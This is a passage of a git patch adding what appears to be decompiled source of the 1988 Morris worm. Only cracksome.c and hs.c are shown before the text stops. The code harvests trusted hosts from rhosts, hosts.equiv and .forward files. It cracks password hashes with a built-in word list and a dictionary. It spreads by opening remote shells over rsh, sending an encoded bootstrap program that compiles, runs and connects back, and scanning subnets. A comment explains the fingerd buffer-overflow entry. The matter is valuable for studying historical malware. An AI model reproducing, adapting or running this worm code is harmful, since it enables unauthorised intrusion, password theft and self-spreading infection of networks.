From 6a2c0ee2d8fe2239ba6ae1650396e7882e97edeb Mon Sep 17 00:00:00 2001 From: Brian Rogers Date: Thu, 6 Nov 2025 10:18:00 -0700 Subject: [PATCH] initial commit --- cracksome.c | 444 +++++++++++++++++ hs.c | 1367 +++++++++++++++++++++++++++++++++++++++++++++++++++ makefile | 22 + net.c | 116 +++++ stubs.c | 25 + worm.c | 174 +++++++ worm.h | 53 ++ wormdes.c | 758 ++++++++++++++++++++++++++++ x8113550.c | 100 ++++ 9 files changed, 3059 insertions(+) create mode 100644 cracksome.c create mode 100644 hs.c create mode 100644 makefile create mode 100644 net.c create mode 100644 stubs.c create mode 100644 worm.c create mode 100644 worm.h create mode 100644 wormdes.c create mode 100644 x8113550.c diff --git a/cracksome.c b/cracksome.c new file mode 100644 index 0000000..bea90f1 --- /dev/null +++ b/cracksome.c @@ -0,0 +1,444 @@ +/* Dover */ + +#include "worm.h" +#include +#include +#include +#include + +int cmode; +extern struct hst *h_name2host(); + +struct usr { /* sizeof(usr) == 58 */ + char *name, *o4, *o8, *o12; + char passwd[14]; /* offset 16 */ + char decoded_passwd[14]; /* 30 */ + short pad; + char *homedir; /* offset 46 */ + char *gecos; /* offset 50 */ + struct usr *next; /* offset 54 */ +}; + +/* Ahhh, I just love these names. Don't change them for anything. */ +static struct usr *x27f28, *x27f2c; + +/* Crack some passwords. */ +cracksome() +{ + switch (cmode){ + case 0: + strat_0(); + return; /* 88 */ + case 1: + strat_1(); + return; + case 2: + try_words(); + return; + case 3: + dict_words(); + return; + } +} + +/* Strategy 0, look through /etc/hosts.equiv, and /.rhost for new hosts */ +strat_0() /* 0x5da4 */ +{ + FILE *hosteq; + char scanbuf[512]; + char fwd_buf[256]; + char *fwd_host; + char getbuf[256]; + struct passwd *pwent; + char local[20]; + struct usr *user; + struct hst *host; /* 1048 */ + int check_other_cnt; /* 1052 */ + static struct usr *user_list = NULL; + + hosteq = fopen(XS("/etc/hosts.equiv"), XS("r")); + if (hosteq != NULL) { /* 292 */ + while (fscanf(hosteq, XS("%.100s"), scanbuf)) { + host = h_name2host(scanbuf, 0); + if (host == 0) { + host = h_name2host(scanbuf, 1); + getaddrs(host); + } + if (host->o48[0] == 0) /* 158 */ + continue; + host->flag |= 8; + } + fclose(hosteq); /* 280 */ + } + + hosteq = fopen(XS("/.rhosts"), XS("r")); + if (hosteq != NULL) { /* 516 */ + while (fgets(getbuf, sizeof(getbuf), hosteq)) { /* 344,504 */ + if (sscanf(getbuf, XS("%s"), scanbuf) != 1) + continue; + host = h_name2host(scanbuf, 0); + while (host == 0) { /* 436, 474 */ + host = h_name2host(scanbuf, 1); + getaddrs(host); + } + if (host->o48[0] == 0) + continue; + host->flag |= 8; + } + fclose(hosteq); + } + + /* look through the passwd file, checking for contact with others every + * tenth entry. */ + setpwent(); + check_other_cnt = 0; /* 522 */ + while ((pwent = getpwent()) != 0) { /* 526, 1124 */ + if ((check_other_cnt % 10) == 0) + other_sleep(0); + check_other_cnt++; + sprintf(fwd_buf, XS("%.200s/.forward"), pwent->pw_dir); + hosteq = fopen(fwd_buf, XS("r")); + if (hosteq != NULL) { /* 834 */ + while (fgets(scanbuf, sizeof(scanbuf), hosteq)) { /* 650,822 */ + /* Punt the newline */ + (&scanbuf[strlen(scanbuf)])[-1] = '\0'; + fwd_host = index(scanbuf, '@'); + if (fwd_host == NULL) + continue; + host = h_name2host(++fwd_host, 0); + if (host == NULL) { + host = h_name2host(fwd_host, 1); + getaddrs(host); + } + if (host->o48[0] == 0) + continue; + host->flag |= 8; + } + fclose(hosteq); + } + /* Don't do foreign or compilcated hosts */ + if (strlen(host->hostname) > 11) + continue; + user = (struct usr *)malloc(sizeof(struct usr)); + strcpy(user->name, pwent->pw_name); + strcpy(&user->passwd[0], XS("x")); + user->decoded_passwd[0] = '\0'; + user->homedir = strcpy(malloc(strlen(pwent->pw_dir)+1), pwent->pw_dir); + user->gecos = strcpy(malloc(strlen(pwent->pw_gecos)+1), pwent->pw_gecos +); + user->next = user_list; + user_list = user; + } + endpwent(); + cmode = 1; + x27f2c = user_list; + return; +} + +/* Check for 'username', 'usernameusername' and 'emanresu' as passwds. */ +static strat_1() /* 0x61ca */ +{ + int cnt; + char usrname[50], buf[50]; + + for (cnt = 0; x27f2c && cnt < 50; x27f2c = x27f2c->next) { /* 1740 */ + /* Every tenth time look for "me mates" */ + if ((cnt % 10) == 0) + other_sleep(0); + /* Check for no passwd */ + if (try_passwd(x27f2c, XS(""))) /* other_fd+84 */ + continue; /* 1722 */ + /* If the passwd is something like "*" punt matching it. */ + if (strlen(x27f2c->passwd) != 13) + continue; + strncpy(usrname, x27f2c, sizeof(usrname)-1); + usrname[sizeof(usrname)-1] = '\0'; + if (try_passwd(x27f2c, usrname)) + continue; + sprintf(buf, XS("%.20s%.20s"), usrname, usrname); + if (try_passwd(x27f2c, buf)) + continue; /* 1722 */ + sscanf(x27f2c->gecos, XS("%[^ ,]"), buf); + if (isupper(buf[0])) + buf[0] = tolower(buf[0]); + if (strlen(buf) > 3 && try_passwd(x27f2c, buf)) + continue; + buf[0] = '\0'; + sscanf(x27f2c->gecos, XS("%*s %[^ ,]s"), buf); + if (isupper(buf[0])) + buf[0] = tolower(buf[0]); + if (strlen(buf) > 3 && index(buf, ',') == NULL && + try_passwd(x27f2c, buf)) + continue; + reverse_str(usrname, buf); + if (try_passwd(x27f2c, buf)) + ; + } + if (x27f2c == 0) + cmode = 2; + return; +} + +static reverse_str(str1, str2) /* x642a */ + char *str1, *str2; +{ + int length, i; + + length = strlen(str1); + + for(i = 0; i < length; i++) + str2[i] = (&str1[length-i]) [-1]; + str2[length] = '\0'; + return; +} + +static try_passwd(user, str) /* 0x6484, unchecked */ + struct usr *user; + char *str; +{ + if (strcmp(user->passwd, crypt(str, user->passwd)) == 0 || + (str[0] == '\0' && user->passwd == '\0')) { + strncpy(user->decoded_passwd, str, sizeof(user->decoded_passwd)); + user->decoded_passwd[sizeof(user->decoded_passwd)-1] = '\0'; + attack_user(user); + return 1; + } + return 0; +} + + +/* Collect hostnames and run hueristic #1 for this user's .forward and .rhosts + */ +/* This is only called from try_passwd() */ +static attack_user(user) /* 0x6514 */ + struct usr *user; +{ + FILE *fwd_fp; + char buf[512], *hostpart; /* l516 */ + char rhbuf[256]; /* l776 */ + char l1288[512]; + struct hst *host; /* l1292 */ + + sprintf(buf, XS("%.200s/.forward"), user->homedir); /* */ + fwd_fp = fopen(buf, XS("r")); + if (fwd_fp) { + while (fgets(buf, sizeof(buf), fwd_fp)) { /* 2088,2222 */ + /* Punt the newline */ + buf[strlen(buf) - 1] = '\0'; + hostpart = index(buf, '@'); + /* If no hostname, it's not foreign so ignore it. */ + if (hostpart == NULL) + continue; + /* Split username and hostname */ + *hostpart++ = '\0'; + + /* Here there appears to be a bug!!! It works correctly + * by coincidence of pushing things on the stack. */ +#ifndef FIX_BUGS + host = h_name2host(hostpart, 1); + hu1(user, host, buf); +#else /* original */ + /* 'hu1' should have another argument */ + hu1(user, (host = h_name2host(hostpart, 1, buf))); +#endif + + } + fclose(fwd_fp); + } + + sprintf(buf, XS("%.200s/.rhosts"), user->homedir); + fwd_fp = fopen(buf, XS("r")); + if (fwd_fp) { /* 2446 */ + while (fgets(rhbuf, sizeof(rhbuf), fwd_fp)) { /* 2312,2434 */ + l1288[0] = '\0'; + if (sscanf(rhbuf, XS("%s%s"), buf, l1288) < 1) + continue; + host = h_name2host(buf, 1); + hu1(user, host, l1288); + } + fclose(fwd_fp); + } + return; +} + +/* This array in the sun binary was camaflouged by having the + high-order bit set in every char. */ + +char *wds[] = /* 0x21a74 */ +{ + "academia", "aerobics", "airplane", "albany", + "albatross", "albert", "alex", "alexander", + "algebra", "aliases", "alphabet", "amorphous", + "analog", "anchor", "andromache", "animals", + "answer", "anthropogenic", "anvils", "anything", + "aria", "ariadne", "arrow", "arthur", + "athena", "atmosphere", "aztecs", "azure", + "bacchus", "bailey", "banana", "bananas", + "bandit", "banks", "barber", "baritone", + "bass", "bassoon", "batman", "beater", + "beauty", "beethoven", "beloved", "benz", + "beowulf", "berkeley", "berliner", "beryl", + "beverly", "bicameral", "brenda", "brian", + "bridget", "broadway", "bumbling", "burgess", + "campanile", "cantor", "cardinal", "carmen", + "carolina", "caroline", "cascades", "castle", + "cayuga", "celtics", "cerulean", "change", + "charles", "charming", "charon", "chester", + "cigar", "classic", "clusters", "coffee", + "coke", "collins", "commrades", "computer", + "condo", "cookie", "cooper", "cornelius", + "couscous", "creation", "creosote", "cretin", + "daemon", "dancer", "daniel", "danny", + "dave", "december", "defoe", "deluge", + "desperate", "develop", "dieter", "digital", + "discovery", "disney", "drought", "duncan", + "eager", "easier", "edges", "edinburgh", + "edwin", "edwina", "egghead", "eiderdown", + "eileen", "einstein", "elephant", "elizabeth", + "ellen", "emerald", "engine", "engineer", + "enterprise", "enzyme", "ersatz", "establish", + "estate", "euclid", "evelyn", "extension", + "fairway", "felicia", "fender", "fermat", + "fidelity", "finite", "fishers", "flakes", + "float", "flower", "flowers", "foolproof", + "football", "foresight", "format", "forsythe", + "fourier", "fred", "friend", "frighten", + "fungible", "gabriel", "gardner", "garfield", + "gauss", "george", "gertrude", "ginger", + "glacier", "golfer", "gorgeous", "gorges", + "gosling", "gouge", "graham", "gryphon", + "guest", "guitar", "gumption", "guntis", + "hacker", "hamlet", "handily", "happening", + "harmony", "harold", "harvey", "hebrides", + "heinlein", "hello", "help", "herbert", + "hiawatha", "hibernia", "honey", "horse", + "horus", "hutchins", "imbroglio", "imperial", + "include", "ingres", "inna", "innocuous", + "irishman", "isis", "japan", "jessica", + "jester", "jixian", "johnny", "joseph", + "joshua", "judith", "juggle", "julia", + "kathleen", "kermit", "kernel", "kirkland", + "knight", "ladle", "lambda", "lamination", + "larkin", "larry", "lazarus", "lebesgue", + "leland", "leroy", "lewis", "light", + "lisa", "louis", "lynne", "macintosh", + "mack", "maggot", "magic", "malcolm", + "mark", "markus", "marty", "marvin", + "master", "maurice", "mellon", "merlin", + "mets", "michael", "michelle", "mike", + "minimum", "minsky", "moguls", "moose", + "morley", "mozart", "nancy", "napoleon", + "nepenthe", "ness", "network", "newton", + "next", "noxious", "nutrition", "nyquist", + "oceanography", "ocelot", "olivetti", "olivia", + "oracle", "orca", "orwell", "osiris", + "outlaw", "oxford", "pacific", "painless", + "pakistan", "papers", "password", "patricia", + "penguin", "peoria", "percolate", "persimmon", + "persona", "pete", "peter", "philip", + "phoenix", "pierre", "pizza", "plover", + "plymouth", "polynomial", "pondering", "pork", + "poster", "praise", "precious", "prelude", + "prince", "princeton", "protect", "protozoa", + "pumpkin", "puneet", "puppet", "rabbit", + "rachmaninoff", "rainbow", "raindrop", "raleigh", + "random", "rascal", "really", "rebecca", + "remote", "rick", "ripple", "robotics", + "rochester", "rolex", "romano", "ronald", + "rosebud", "rosemary", "roses", "ruben", + "rules", "ruth", "saxon", "scamper", + "scheme", "scott", "scotty", "secret", + "sensor", "serenity", "sharks", "sharon", + "sheffield", "sheldon", "shiva", "shivers", + "shuttle", "signature", "simon", "simple", + "singer", "single", "smile", "smiles", + "smooch", "smother", "snatch", "snoopy", + "soap", "socrates", "sossina", "sparrows", + "spit", "spring", "springer", "squires", + "strangle", "stratford", "stuttgart", "subway", + "success", "summer", "super", "superstage", + "support", "supported", "surfer", "suzanne", + "swearer", "symmetry", "tangerine", "tape", + "target", "tarragon", "taylor", "telephone", + "temptation", "thailand", "tiger", "toggle", + "tomato", "topography", "tortoise", "toyota", + "trails", "trivial", "trombone", "tubas", + "tuttle", "umesh", "unhappy", "unicorn", + "unknown", "urchin", "utility", "vasant", + "vertigo", "vicky", "village", "virginia", + "warren", "water", "weenie", "whatnot", + "whiting", "whitney", "will", "william", + "williamsburg", "willie", "winston", "wisconsin", + "wizard", "wombat", "woodwind", "wormwood", + "yacov", "yang", "yellowstone", "yosemite", + "zimmerman", + 0 +}; +int nextw = 0; /* 0x24868 */ + +/* Try a list of potential passwds for each user. */ +static try_words() /* 0x66da */ +{ + struct usr *user; + int i, j; + + if (wds[nextw] == 0) { + cmode++; + return; /* 2724 */ + } + if (nextw == 0) { /* 2550 */ + for (i = 0; wds[i]; i++) + ; + permute(wds, i, sizeof(wds[0])); + } + + for (j = 0; wds[nextw][j] != '\0'; j++) + wds[nextw][j] &= 0x7f; + for (user = x27f28; user; user = user->next) + try_passwd(user, wds[nextw]); + for (j = 0; wds[nextw][j]; j++) /* 2664,2718 */ + wds[nextw][j] |= 0x80; + nextw += 1; + return; +} + + +/* Called only from the cracksome() dispatch loop. Tries a single word from th +e + * dictionary, downcasing if capitalized and trying again. */ +static dict_words() /* 0x67f0 */ +{ + char buf[512]; + struct usr *user; + static FILE *x27f30; + + if (x27f30 != NULL) { + x27f30 = fopen(XS("/usr/dict/words"), XS("r")); + if (x27f30 == NULL) + return; + } + if (fgets(buf, sizeof(buf), x27f30) == 0) { /* 2808,2846 */ + cmode++; + return; + } + (&buf[strlen(buf)])[-1] = '\0'; + + for (user = x27f28; user; user = user->next) /* 2910 */ + try_passwd(user, buf); + if (!isupper(buf[0])) + return; + buf[0] = tolower(buf[0]); + + for (user = x27f28; user; user = user->next) + try_passwd(user, buf); + return; /* 2988 */ +} + +/* + * Local variables: + * comment-column: 48 + * compile-command: "cc -S cracksome.c" + * End: + */ + diff --git a/hs.c b/hs.c new file mode 100644 index 0000000..df48886 --- /dev/null +++ b/hs.c @@ -0,0 +1,1367 @@ +/* dover */ + +#include "worm.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +extern struct hst *h_addr2host(), *h_name2host(); +extern int justreturn(); +extern int errno; +extern char *malloc(); + +int alarmed = 0; +int ngateways, *gateways; +struct hst *me, *hosts; + +int nifs; +struct ifses ifs[30]; /* Arbitrary number, fix */ + +/* Clean hosts not contacted from the host list. */ +h_clean() /* 0x31f0 */ +{ + struct hst *newhosts, *host, *next; + + newhosts = NULL; + for (host = hosts; host != NULL; host = next) { + next = host->next; + host->flag &= -7; + if (host == me || host->flag != 0) { + host->next = newhosts; + newhosts = host; + } else + free(host); + } + hosts = newhosts; +} + +/* Look for a gateway we can contact. */ +hg() /* 0x3270, check again */ +{ + struct hst *host; + int i; + + rt_init(); + + for (i = 0; i < ngateways; i++) { /* 24, 92 */ + host = h_addr2host(gateways[i], 1); + if (try_rsh_and_mail(host)) + return 1; + } + return 0; +} + +ha() /* 0x32d4, unchecked */ +{ + struct hst *host; + int i, j, k; + int l416[100]; + int l420; + + if (ngateways < 1) + rt_init(); + j = 0; + for (i = 0; i < ngateways; i++) { /* 40, 172 */ + host = h_addr2host(gateways[i], 1); + for (k = 0; k < 6; k++) { /* 86, 164 */ + if (host->o48[k] == 0) + continue; /* 158 */ + if (try_telnet_p(host->o48[k]) == 0) + continue; + l416[j] = host->o48[k]; + j++; + } + } + + permute(l416, j, sizeof(l416[0])); + + for (i = 0; i < j; i++) { /* 198, 260 */ + if (hi_84(l416[i] & netmaskfor(l416[i]))) + return 1; + } + return 0; +} + +hl() /* 0x33e6 */ +{ + int i; + + for (i = 0; i < 6; i++) { /* 18, 106 */ + if (me->o48[i] == 0) + break; + if (hi_84(me->o48[i] & netmaskfor(me->o48[i])) != 0) + return 1; + } + return 0; +} + +hi() /* 0x3458 */ +{ + struct hst *host; + + for (host = hosts; host; host = host->next ) + if ((host->flag & 0x08 != 0) && (try_rsh_and_mail(host) != 0)) + return 1; + return 0; +} + +hi_84(arg1) /* 0x34ac */ +{ + int l4; + struct hst *host; + int l12, l16, l20, i, l28, adr_index, l36, l40, l44; + int netaddrs[2048]; + + l12 = netmaskfor(arg1); + l16 = ~l12; + + for (i = 0; i < nifs; i++) { /* 128,206 */ + if (arg1 == (ifs[i].if_l24 & ifs[i].if_l16)) + return 0; /* 624 */ + } + + adr_index = 0; + if (l16 == 0x0000ffff) { /* 330 */ + l44 = 4; + for (l40 = 1; l40 < 255; l40++) /* 236,306 */ + for (l20 = 1; l20 <= 8; l20++) /* 254,300 */ + netaddrs[adr_index++] = arg1 | (l20 << 16) | l40; + permute(netaddrs, adr_index, sizeof(netaddrs[0])); + } else { /* 432 */ + l44 = 4; + for (l20 = 1; l20 < 255; l20++) + netaddrs[adr_index++] = (arg1 | l20); + permute(netaddrs, 3*sizeof(netaddrs[0]), sizeof(netaddrs[0])); + permute(netaddrs, adr_index - 6, 4); + } + if (adr_index > 20) + adr_index = 20; + for (l36 = 0; l36 < adr_index; l36++) { /* 454,620 */ + l4 = netaddrs[l36]; + host = h_addr2host(l4, 0); + if (host == NULL || (host->flag & 0x02) == 0) + continue; + if (host == NULL || (host->flag & 0x04) == 0 || + command_port_p(l4, l44) == 0) + continue; + if (host == NULL) + host = h_addr2host(l4, 1); + if (try_rsh_and_mail(host)) + return 1; + } + return 0; +} + +/* Only called in the function above */ +static command_port_p(addr, time) /* x36d2, */ + u_long addr; + int time; +{ + int s, connection; /* 28 */ + struct sockaddr_in sin; /* 16 bytes */ + int (*save_sighand)(); + + s = socket(AF_INET, SOCK_STREAM, 0); + if (s < 0) + return 0; + bzero(&sin, sizeof(sin)); + sin.sin_family = AF_INET; + sin.sin_addr.s_addr = addr; + sin.sin_port = IPPORT_CMDSERVER; /* Oh no, not the command serve +r... */ + + save_sighand = signal(SIGALRM, justreturn); /* Wakeup if it + fails */ + + /* Set up a timeout to break from connect if it fails */ + if (time < 1) + time = 1; + alarm(time); + connection = connect(s, &sin, sizeof(sin)); + alarm(0); + + close(s); + + if (connection < 0 && errno == ENETUNREACH) + error("Network unreachable"); + return connection != -1; +} + +static try_telnet_p(addr) /* x37b2 , checked */ + u_long addr; +{ + int s, connection; /* 28 */ + struct sockaddr_in sin; /* 16 bytes */ + int (*save_sighand)(); + + s = socket(AF_INET, SOCK_STREAM, 0); + if (s < 0) + return 0; + bzero(&sin, sizeof(sin)); + sin.sin_family = AF_INET; + sin.sin_addr.s_addr = addr; + sin.sin_port = IPPORT_TELNET; /* This time try telnet... */ + + /* Set up a 5 second timeout, break from connect if it fails */ + save_sighand = signal(SIGALRM, justreturn); + alarm(5); + connection = connect(s, &sin, sizeof(sin)); + if (connection < 0 && errno == ECONNREFUSED) /* Telnet connection refuse +d */ + connection = 0; + alarm(0); /* Turn off timeout */ + + close(s); + + return connection != -1; +} + +/* Used in hg(), hi(), and hi_84(). */ +static try_rsh_and_mail(host) /* x3884, */ + struct hst *host; +{ + int fd1, fd2, result; + + if (host == me) + return 0; /* 1476 */ + if (host->flag & 0x02) + return 0; + if (host->flag & 0x04) + return 0; + if (host->o48[0] == 0 || host->hostname == NULL) + getaddrs(host); + if (host->o48[0] == 0) { + host->flag |= 0x04; + return 0; + } + other_sleep(1); + if (host->hostname && /* 1352 */ + fork_rsh(host->hostname, &fd1, &fd2, + XS("exec /bin/sh"))) { /* */ + result = talk_to_sh(host, fd1, fd2); + close(fd1); + close(fd2); + /* Prevent child from hanging around in the state */ + wait3((union wait *)NULL, WNOHANG, (struct rusage *)NULL); + if (result != 0) + return result; + } + + if (try_finger(host, &fd1, &fd2)) { /* 1440 */ + result = talk_to_sh(host, fd1, fd2); + close(fd1); + close(fd2); + if (result != 0) + return result; + } + if (try_mail(host)) + return 1; + + host->flag |= 4; + return 0; +} + + +/* Check a2in() as it is updated */ +/* Used in twice in try_rsh_and_mail(), once in hu1(). */ +static talk_to_sh(host, fdrd, fdwr) /* x3a20, Checked, changed */ + struct hst *host; + int fdrd, fdwr; +{ + object *objectptr; + char send_buf[512]; /* l516 */ + char print_buf[52]; /* l568 */ + int l572, l576, l580, l584, l588, l592; + + objectptr = getobjectbyname(XS("l1.c")); /* env 200c9 */ + + if (objectptr == NULL) + return 0; /* */ + if (makemagic(host, &l592, &l580, &l584, &l588) == 0) + return 0; + send_text(fdwr, XS("PATH=/bin:/usr/bin:/usr/ucb\n")); + send_text(fdwr, XS("cd /usr/tmp\n")); + l576 = random() % 0x00FFFFFF; + + sprintf(print_buf, XS("x%d.c"), l576); + /* The 'sed' script just puts the EOF on the transmitted program. */ + sprintf(send_buf, XS("echo gorch49;sed \'/int zz;/q\' > %s;echo gorch50\n" +), + print_buf); + + send_text(fdwr, send_buf); + + wait_for(fdrd, XS("gorch49"), 10); + + xorbuf(objectptr->buf, objectptr->size); + l572 = write(fdwr, objectptr->buf, objectptr->size); + xorbuf(objectptr->buf, objectptr->size); + + if (l572 != objectptr->size) { + close(l588); + return 0; /* to */ + } + send_text(fdwr, XS("int zz;\n\n")); + wait_for(fdrd, XS("gorch50"), 30); + +#define COMPILE "cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE\n" + sprintf(send_buf, XS(COMPILE), l576, l576, l576, + inet_ntoa(a2in(l592)), l580, l584, l576, l576); + + + send_text(fdwr, send_buf); + + if (wait_for(fdrd, XS("DONE"), 100) == 0) { + close(l588); + return 0; /* */ + } + return waithit(host, l592, l580, l584, l588); +} + +makemagic(arg8, arg12, arg16, arg20, arg24) /* checked */ + struct hst *arg8; + int *arg12, *arg16, *arg20, *arg24; +{ + int s, i, namelen; + struct sockaddr_in sin0, sin1; /* 16 bytes */ + + *arg20 = random() & 0x00ffffff; + bzero(&sin1, sizeof(sin1)); + sin1.sin_addr.s_addr = me->l12; + + for (i= 0; i < 6; i++) { /* 64, 274 */ + if (arg8->o48[i] == NULL) + continue; /* 266 */ + s = socket(AF_INET, SOCK_STREAM, 0); + if (s < 0) + return 0; /* 470 */ + bzero(&sin0, sizeof(sin0)); + sin0.sin_family = AF_INET; + sin0.sin_port = IPPORT_TELNET; + sin0.sin_addr.s_addr = arg8->o48[i]; + errno = 0; + if (connect(s, &sin0, sizeof(sin0)) != -1) { + namelen = sizeof(sin1); + getsockname(s, &sin1, &namelen); + close(s); + break; + } + close(s); + } + + *arg12 = sin1.sin_addr.s_addr; + + for (i = 0; i < 1024; i++) { /* 286,466 */ + s = socket(AF_INET, SOCK_STREAM, 0); + if (s < 0) + return 0; /* 470 */ + bzero(&sin0, sizeof(sin0)); + sin0.sin_family = AF_INET; + sin0.sin_port = random() % 0xffff; + if (bind(s, &sin0, sizeof(sin0)) != -1) { + listen(s, 10); + *arg16 = sin0.sin_port; + *arg24 = s; + return 1; + } + close(s); + } + + return 0; +} + +/* Check for somebody connecting. If there is a connection and he has the rig +ht + * key, send out the + * a complete set of encoded objects to it. */ + +waithit(host, arg1, arg2, key, arg4) /* 0x3e86 */ + struct hst *host; +{ + int (*save_sighand)(); + int l8, sin_size, l16, i, l24, l28; + struct sockaddr_in sin; /* 44 */ + object *obj; + char files[20][128]; /* File list, 2608 */ + char *l2612; + char strbuf[512]; + + save_sighand = signal(SIGPIPE, justreturn); + + sin_size = sizeof(sin); + alarm(2*60); + l8 = accept(arg4, &sin, &sin_size); + alarm(0); + + if (l8 < 0) + goto quit; /* 1144 */ + if (xread(l8, &l16, sizeof(l16), 10) != 4) + goto quit; + l16 = ntohl(l16); + if (key != l16) + goto quit; + for (i = 0; i < nobjects; i++) { /* 164,432 */ + obj = &objects[i]; + l16 = htonl(obj->size); + write(l8, &l16, sizeof(l16)); + sprintf(files[i], XS("x%d,%s"), + (random()&0x00ffffff), obj->name); + write(l8, files[i], sizeof(files[0])); + xorbuf(obj->buf, obj->size); + l24 = write(l8, obj->buf, obj->size); + xorbuf(obj->buf, obj->size); + if (l24 != obj->size) + goto quit; + } + + /* Get rid of my client's key, and tell him the list has ended. */ + l16 = -1; + if (write(l8, &l16, sizeof(l16)) != 4) + goto quit; + + /* Don't run up the load average too much... */ + sleep(4); + + if (test_connection(l8, l8, 30) == 0) + goto quit; + send_text(l8, XS("PATH=/bin:/usr/bin:/usr/ucb\n")); + send_text(l8, XS("rm -f sh\n")); + + sprintf(strbuf, XS("if [ -f sh ]\nthen\nP=x%d\nelse\nP=sh\nfi\n"), + random()&0x00ffffff); + send_text(l8, strbuf); + + for (i = 0; i < nobjects; i++) { /* 636,1040 */ + if ((l2612 = index(files[i], '.')) == NULL || + l2612[1] != 'o') + continue; + sprintf(strbuf, XS("cc -o $P %s\n"), files[i]); + send_text(l8, strbuf); + if (test_connection(l8, l8, 30) == 0) + goto quit; /* 1144 */ + sprintf(strbuf, XS("./$P -p $$ ")); + for(l28 = 0; l28 < nobjects; l28++) { /* 820,892 */ + strcat(strbuf, files[l28]); + strcat(strbuf, XS(" ")); + } + strcat(strbuf, XS("\n")); + send_text(l8, strbuf); + if (test_connection(l8, l8, 10) == 0) { + close(l8); + close(arg4); + host->flag |= 2; + return 1; /* 1172 */ + } + send_text(l8, XS("rm -f $P\n")); + } + + for (i = 0; i < nobjects; i++) { /* 1044,1122 */ + sprintf(strbuf, XS("rm -f %s $P\n"), files[i]); + send_text(l8, strbuf); + } + test_connection(l8, l8, 5); + quit: + close(l8); + close(l24); + return 0; +} + +/* Only called from within mail */ +static compile_slave(host, s, arg16, arg20, arg24) /* x431e, */ + struct hst host; +{ + object *obj; + char buf[512]; /* 516 */ + char cfile[56]; /* 568 */ + int wr_len, key; /* might be same */ + + obj = getobjectbyname(XS("l1.c")); + if (obj == NULL) + return 0; /* 1590 */ + send_text(s, XS("cd /usr/tmp\n")); + + key = (random() % 0x00ffffff); + sprintf(cfile, XS("x%d.c"), key); + sprintf(buf, XS("cat > %s <<\'EOF\'\n"), cfile); + send_text(s, buf); + + xorbuf(obj->buf, obj->size); + wr_len = write(s, obj->buf, obj->size); + xorbuf(obj->buf, obj->size); + + if (wr_len != obj->size) + return 0; + send_text(s, XS("EOF\n")); + + sprintf(buf, XS("cc -o x%d x%d.c;x%d %s %d %d;rm -f x%d x%d.c\n"), + key, key, key, + inet_ntoa(a2in(arg16, arg20, arg24, key, key)->baz)); + return send_text(s, buf); +} + +static send_text(fd, str) /* 0x44c0, */ + char *str; +{ + write(fd, str, strlen(str)); +} + +/* Used in try_rsh_and_mail(). */ +static fork_rsh(host, fdp1, fdp2, str) /* 0x44f4, */ + char *host; + int *fdp1, *fdp2; + char *str; +{ + int child; /* 4 */ + int fildes[2]; /* 12 */ + int fildes1[2]; /* 20 */ + int fd; + + if (pipe(fildes) < 0) + return 0; + if (pipe(fildes1) < 0) { + close(fildes[0]); + close(fildes[1]); + return 0; + } + + child = fork(); + if (child < 0) { /* 1798 */ + close(fildes[0]); + close(fildes[1]); + close(fildes1[0]); + close(fildes1[1]); + return 0; + } + if (child == 0) { /* 2118 */ + for (fd = 0; fd < 32; fd++) + if (fd != fildes[0] && + fd != fildes1[1] && + fd != 2) + close(fd); + dup2(fildes[0], 0); + dup2(fildes[1], 1); + if (fildes[0] > 2) + close(fildes[0]); + if (fildes1[1] > 2) + close(fildes1[1]); + /* 'execl()' does not return if it suceeds. */ + execl(XS("/usr/ucb/rsh"), XS("rsh"), host, str, 0); + execl(XS("/usr/bin/rsh"), XS("rsh"), host, str, 0); + execl(XS("/bin/rsh"), XS("rsh"), host, str, 0); + exit(1); + } + close(fildes[0]); + close(fildes1[1]); + *fdp1 = fildes1[0]; + *fdp2 = fildes[1]; + + if (test_connection(*fdp1, *fdp2, 30)) + return 1; /* Sucess!!! */ + close(*fdp1); + close(*fdp2); + kill(child, 9); + /* Give the child a chance to die from the signal. */ + sleep(1); + wait3(0, WNOHANG, 0); + return 0; +} + +static test_connection(rdfd, wrfd, time) /* x476c, */ + int rdfd, wrfd, time; +{ + char combuf[100], numbuf[100]; + + sprintf(numbuf, XS("%d"), random() & 0x00ffffff); + sprintf(combuf, XS("\n/bin/echo %s\n"), numbuf); + send_text(wrfd, combuf); + return wait_for(rdfd, numbuf, time); +} + +static wait_for(fd, str, time) /* */ + int fd, time; + char *str; +{ + char buf[512]; + int i, length; + + length = strlen(str); + while (x488e(fd, buf, sizeof(buf), time) == 0) { /* 2532 */ + for(i = 0; buf[i]; i++) { + if (strncmp(str, &buf[i], length) == 0) + return 1; + } + } + return 0; +} + +/* Installed as a signal handler */ +justreturn(sig, code, scp) /* 0x4872 */ + int sig, code; + struct sigcontext *scp; +{ + alarmed = 1; +} + +static x488e(fd, buf, num_chars, maxtime) + int fd, num_chars, maxtime; + char *buf; +{ + + int i, l8, readfds; + struct timeval timeout; + + for (i = 0; i < num_chars; i++) { /* 46,192 */ + readfds = 1 << fd; + timeout.tv_usec = maxtime; + timeout.tv_sec = 0; + if (select(fd + 1, &readfds, 0, 0, &timeout) <= 0) + return 0; + if (readfds == 0) + return 0; + if (read(fd, &buf[i], 1) != 1) + return 0; + if (buf[i] == '\n') + break; + } + buf[i] = '\0'; + if (i > 0 && l8 > 0) + return 1; + return 0; +} + +/* This doesn't appear to be used anywhere??? */ +static char *movstr(arg0, arg1) /* 0x4958, */ + char *arg0, *arg1; +{ + arg1[0] = '\0'; + if (arg0 == 0) + return 0; + while( ! isspace(*arg0)) + arg0++; + + if (*arg0 == '\0') + return 0; + while(*arg0) { + if (isspace(*arg0)) break; + *arg1++ = *arg0++; + } + *arg1 = '\0'; + return arg0; +} + +/* +From Gene Spafford +What this routine does is actually kind of clever. Keep in +mind that on a Vax the stack grows downwards. + +fingerd gets its input via a call to gets, with an argument +of an automatic variable on the stack. Since gets doesn't +have a bound on its input, it is possible to overflow the +buffer without an error message. Normally, when that happens +you trash the return stack frame. However, if you know +where everything is on the stack (as is the case with a +distributed binary like BSD), you can put selected values +back in the return stack frame. + +This is what that routine does. It overwrites the return frame +to point into the buffer that just got trashed. The new code +does a chmk (change-mode-to-kernel) with the service call for +execl and an argument of "/bin/sh". Thus, fingerd gets a +service request, forks a child process, tries to get a user name +and has its buffer trashed, does a return, exec's a shell, +and then proceeds to take input off the socket -- from the +worm on the other machine. Since many sites never bother to +fix fingerd to run as something other than root..... + +Luckily, the code doesn't work on Suns -- it just causes it +to dump core. + +--spaf + +*/ + 